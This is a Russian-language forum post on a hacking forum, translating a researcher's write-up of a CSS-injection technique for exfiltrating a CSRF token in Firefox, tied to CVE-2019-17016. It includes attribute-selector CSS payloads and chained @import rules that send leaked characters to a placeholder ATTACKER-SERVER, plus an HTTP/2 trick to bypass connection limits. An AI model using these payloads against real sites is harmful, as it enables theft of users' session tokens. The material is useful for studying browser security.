• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксфильтрация данных CSS в Firefox через точку внедрения

$talk3r

RAM
Пользователь
Регистрация
25.06.2019
Сообщения
134
Реакции
132
Переведено by $talk3r special for xss.pro
ориг статья

Несколько месяцев назад я обнаружил проблему безопасности в Firefox, известную как CVE-2019-17016. Во время анализа проблемы я разработал новую технику эксфильтрации данных CSS в Firefox через единую точку внедрения, о которой я расскажу в этой статье.

Основы и предшествующий уровень техники
В качестве примеров мы предполагаем, что мы хотим получить токен CSRF из элемента <input>.
<input type="hidden" name="csrftoken" value="SOME_VALUE">

Мы не можем использовать скрипты (возможно, из-за CSP), поэтому мы воспользуемся внедрением стиля. Классический способ - использовать селекторы атрибутов, например:
CSS:
input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
 
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
 
...
 
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

Если применяется правило CSS, то злоумышленник получает HTTP-запрос с утечкой первого символа токена. Затем необходимо подготовить еще одну таблицу стилей, которая включает в себя первый известный символ, например:
CSS:
input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
 
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
 
...
 
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

Обычно предполагалось, что последующие таблицы стилей должны быть предоставлены путем перезагрузки страницы, которая загружена в <iframe>.

В 2018 году у Pepe Villa была удивительная концепция, что мы можем добиться того же в Chrome с помощью единой точки внедрения, используя рекурсивный импорт CSS. Тот же трюк был вновь открыт в 2019 году Натаниалом Латтимером (aka @ d0nutptr), однако с небольшим изменением. Ниже я кратко изложу подход Латтимера, потому что он ближе к тому, что я придумал в Firefox, хотя (что довольно забавно) я не знал об исследованиях Латтимера, когда проводил свое собственное. Так что можно сказать, что я открыл заново…… :D

Короче говоря, первая инъекция - это связка импорта:
CSS:
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...


Идея заключается в следующем:

1
В начале только первый @import возвращает таблицу стилей; другие просто блокируют соединение
2 Первый @import возвращает таблицу стилей, которая пропускает первый символ токена
3 Когда утечка 1-го символа достигает ATTACKER-SERVER, 2-й импорт прекращает блокировку и возвращает таблицу стилей, которая содержит 1-й символ и пытается слить 2-й
4 Когда утечка 2-го символа достигает ATTACKER-SERVER, 3-й импорт прекращает блокировку ... и так далее

Этот метод работает, потому что Chrome обрабатывает импорт асинхронно, поэтому, когда любой импорт прекращает блокировку, Chrome немедленно анализирует его и применяет его.

Firefox и обработка стилей таблиц

Метод из предыдущего абзаца вообще не работает в Firefox из-за существенных различий в обработке таблиц стилей по сравнению с Chrome. Я объясню различия на нескольких простых примерах.
Прежде всего, Firefox обрабатывает таблицы стилей синхронно. Поэтому при наличии нескольких импортов в таблице стилей Firefox не будет применять какие-либо правила CSS до тех пор, пока все операции импорта не будут обработаны. Рассмотрим следующий пример:
CSS:
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

Предположим, что первый @import возвращает правило CSS, которое устанавливает синий цвет фона страницы, в то время как следующий импорт блокируется (то есть они никогда ничего не возвращают, обрывая HTTP-соединение). В Chrome страница сразу станет синей. В Firefox ничего не происходит.

Эту проблему можно обойти, поместив весь импорт в отдельные элементы <style>:
CSS:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

В приведенном выше случае Firefox обрабатывает все таблицы стилей отдельно, поэтому страница мгновенно становится синей, а остальные операции импорта обрабатываются в фоновом режиме.

Но тогда есть другая проблема. Допустим, мы хотим украсть токен с 10 символами:

CSS:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>
Firefox немедленно поставит в очередь все 10 импортов. После обработки первого импорта Firefox поставит в очередь другой запрос с утечкой символов. Проблема в том, что этот запрос помещается в конец очереди, и по умолчанию браузер имеет ограничение в 6 одновременных подключений к одному серверу. Таким образом, запрос с утечкой никогда не достигнет сервера, поскольку есть 6 других блокирующих подключений к серверу, а у нас будет тупиковая блокировка.


HTTP / 2 в помощь!
На уровне TCP действует ограничение в 6 соединений. Таким образом, к одному серверу может быть только 6 одновременных TCP-соединений. В этот момент у меня появилась идея, что HTTP / 2 может быть решением. Если вы не знаете о преимуществах HTTP / 2, то одним из основных является то, что вы можете отправлять несколько HTTP-запросов по одному соединению (известному как мультиплексирование), что значительно повышает производительность.
Firefox также ограничивает число одновременных запросов для одного соединения HTTP / 2, но по умолчанию он равен 100 network.http.spdy.default-concurrent in about:config . Если нам нужно больше, мы можем заставить Firefox создать второе TCP-соединение, используя другое имя хоста. Например, если я создаю 100 запросов к https: // localhost: 3000 и 50 запросов к https://127.0.0.1:3000, Firefox создаст два TCP-соединения.

Exploit
Теперь у меня есть все блоки, необходимые для подготовки рабочего эксплойта. Вот основные предположения:

1 Код эксплойта будет обслуживаться через HTTP / 2.
2 Конечная точка /polling/:session/:index возвращается в CSS для утечки: индексного символа. Запрос будет заблокирован, если символы index-1 уже не просочились. : параметр пути сеанса используется для различения разного рода попыток эксфильтрации.
3 Конечная точка /leak/:session/:value используется для утечки токена. Значение будет всей утечкой, а не только последним символом.
4 Чтобы заставить Firefox установить два TCP-соединения, одна конечная точка будет достигнута через https: // localhost: 3000, а другая - через https://127.0.0.1:3000.
5 Конечная точка / генерировать используется для генерации примера кода.
Я создал тестовую площадку, цель которой - украсть csrftoken с помощью эксфильтрации данных. Вы можете получить к нему доступ прямо здесь.

image-1024x531.png

Скриншот тестового стенда

Я разместил пробную версию концепции на GitHub, а ниже приведен видеоролик, показывающий, что он работает


Итог

В статье я показал, что вы можете пропускать данные через CSS, если у вас есть одна точка внедрения, и вы не хотите перезагружать страницу. Это возможно благодаря двум функциям:

1 Правила @import необходимо разделить на многие таблицы стилей, чтобы при последующих импортах не происходила блокировка обработки таблицы стилей.
2 Чтобы обойти ограничение количества одновременных TCP-соединений, эксплойт должен обслуживаться через HTTP / 2.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх